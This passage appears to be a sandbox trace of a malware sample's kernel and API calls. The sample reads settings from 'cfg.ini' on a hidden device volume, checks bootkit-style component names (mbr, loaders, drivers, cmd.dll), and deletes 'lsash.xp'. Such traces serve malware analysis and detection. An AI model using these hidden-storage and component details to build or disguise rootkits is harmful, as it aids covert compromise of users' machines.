KeEnterCriticalRegion () [0125.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.343] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.343] KeLeaveCriticalRegion () [0125.343] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.344] KeEnterCriticalRegion () [0125.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.344] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.344] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.344] KeLeaveCriticalRegion () [0125.344] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.344] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.344] KeEnterCriticalRegion () [0125.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.344] ExFreePoolWithTag (P=0xfffffa8003bf6650, Tag=0x0) [0125.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.344] KeLeaveCriticalRegion () [0125.344] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.344] ReleaseMutex (hMutex=0xf0) returned 1 [0125.344] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.344] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.344] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.344] KeEnterCriticalRegion () [0125.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.344] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.344] IdePortDispatch () returned 0x103 [0125.344] KeWaitForMutexObject () returned 0x0 [0125.344] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.344] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.344] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.344] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.344] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.344] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7fb0 [0125.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.344] KeLeaveCriticalRegion () [0125.344] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.344] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.345] KeEnterCriticalRegion () [0125.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.345] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.345] KeLeaveCriticalRegion () [0125.345] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.345] KeEnterCriticalRegion () [0125.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.345] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.345] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.345] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.345] IdePortDispatch () returned 0x103 [0125.345] KeWaitForMutexObject () returned 0x0 [0125.345] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.345] KeLeaveCriticalRegion () [0125.345] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.345] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.345] KeEnterCriticalRegion () [0125.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.345] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c37000 [0125.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.345] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.345] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.345] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.345] IdePortDispatch () returned 0x103 [0125.345] KeWaitForMutexObject () returned 0x0 [0125.345] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.346] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.346] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.346] IdePortDispatch () returned 0x103 [0125.346] KeWaitForMutexObject () returned 0x0 [0125.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.346] KeLeaveCriticalRegion () [0125.346] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.346] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.346] KeEnterCriticalRegion () [0125.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.346] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.346] KeLeaveCriticalRegion () [0125.346] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.346] KeEnterCriticalRegion () [0125.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.346] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.346] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.346] KeLeaveCriticalRegion () [0125.346] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.347] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.347] KeEnterCriticalRegion () [0125.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.347] ExFreePoolWithTag (P=0xfffffa8003bf7fb0, Tag=0x0) [0125.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.347] KeLeaveCriticalRegion () [0125.347] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.347] ReleaseMutex (hMutex=0xf0) returned 1 [0125.347] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.347] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.347] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.347] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.347] KeEnterCriticalRegion () [0125.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.347] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.347] IdePortDispatch () returned 0x103 [0125.348] KeWaitForMutexObject () returned 0x0 [0125.348] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.348] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.348] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.348] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.348] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.348] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.348] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.348] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.348] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.348] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.348] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.348] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.348] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.348] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.348] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.348] KeLeaveCriticalRegion () [0125.348] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.348] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.348] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.348] KeEnterCriticalRegion () [0125.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.348] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.349] IdePortDispatch () returned 0x103 [0125.349] KeWaitForMutexObject () returned 0x0 [0125.349] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.349] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.349] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.349] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.349] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.349] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.349] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.349] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.349] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.349] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.349] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.349] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.349] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.349] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.349] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.349] KeLeaveCriticalRegion () [0125.349] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.349] ReleaseMutex (hMutex=0x100) returned 1 [0125.349] Sleep (dwMilliseconds=0x2bf20) [0125.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6deac150, dwHighDateTime=0x1d24fa4)) [0125.355] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.355] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.355] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.356] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.356] KeEnterCriticalRegion () [0125.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.356] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.356] IdePortDispatch () returned 0x103 [0125.356] KeWaitForMutexObject () returned 0x0 [0125.356] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.356] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.356] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.356] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.356] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.356] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7860 [0125.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.356] KeLeaveCriticalRegion () [0125.356] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.356] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.356] KeEnterCriticalRegion () [0125.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.356] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.356] KeLeaveCriticalRegion () [0125.356] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.356] KeEnterCriticalRegion () [0125.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.356] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.356] IdePortDispatch () returned 0x103 [0125.356] KeWaitForMutexObject () returned 0x0 [0125.357] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.357] KeLeaveCriticalRegion () [0125.357] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.357] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.357] KeEnterCriticalRegion () [0125.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.357] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3a000 [0125.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.357] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.357] IdePortDispatch () returned 0x103 [0125.357] KeWaitForMutexObject () returned 0x0 [0125.357] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.357] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.357] IdePortDispatch () returned 0x103 [0125.357] KeWaitForMutexObject () returned 0x0 [0125.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.357] KeLeaveCriticalRegion () [0125.357] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.358] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.358] KeEnterCriticalRegion () [0125.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.358] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.358] KeLeaveCriticalRegion () [0125.358] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.358] KeEnterCriticalRegion () [0125.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.358] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.358] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7920, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.358] KeLeaveCriticalRegion () [0125.358] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.358] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.358] KeEnterCriticalRegion () [0125.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.358] ExFreePoolWithTag (P=0xfffffa8003bf7860, Tag=0x0) [0125.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.358] KeLeaveCriticalRegion () [0125.358] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.358] ReleaseMutex (hMutex=0xf0) returned 1 [0125.358] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.358] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.358] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.358] KeEnterCriticalRegion () [0125.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.358] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.359] IdePortDispatch () returned 0x103 [0125.359] KeWaitForMutexObject () returned 0x0 [0125.359] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.359] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.359] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.359] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.359] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.359] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6650 [0125.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.359] KeLeaveCriticalRegion () [0125.359] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.359] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.359] KeEnterCriticalRegion () [0125.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.359] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.359] KeLeaveCriticalRegion () [0125.359] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.359] KeEnterCriticalRegion () [0125.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.359] 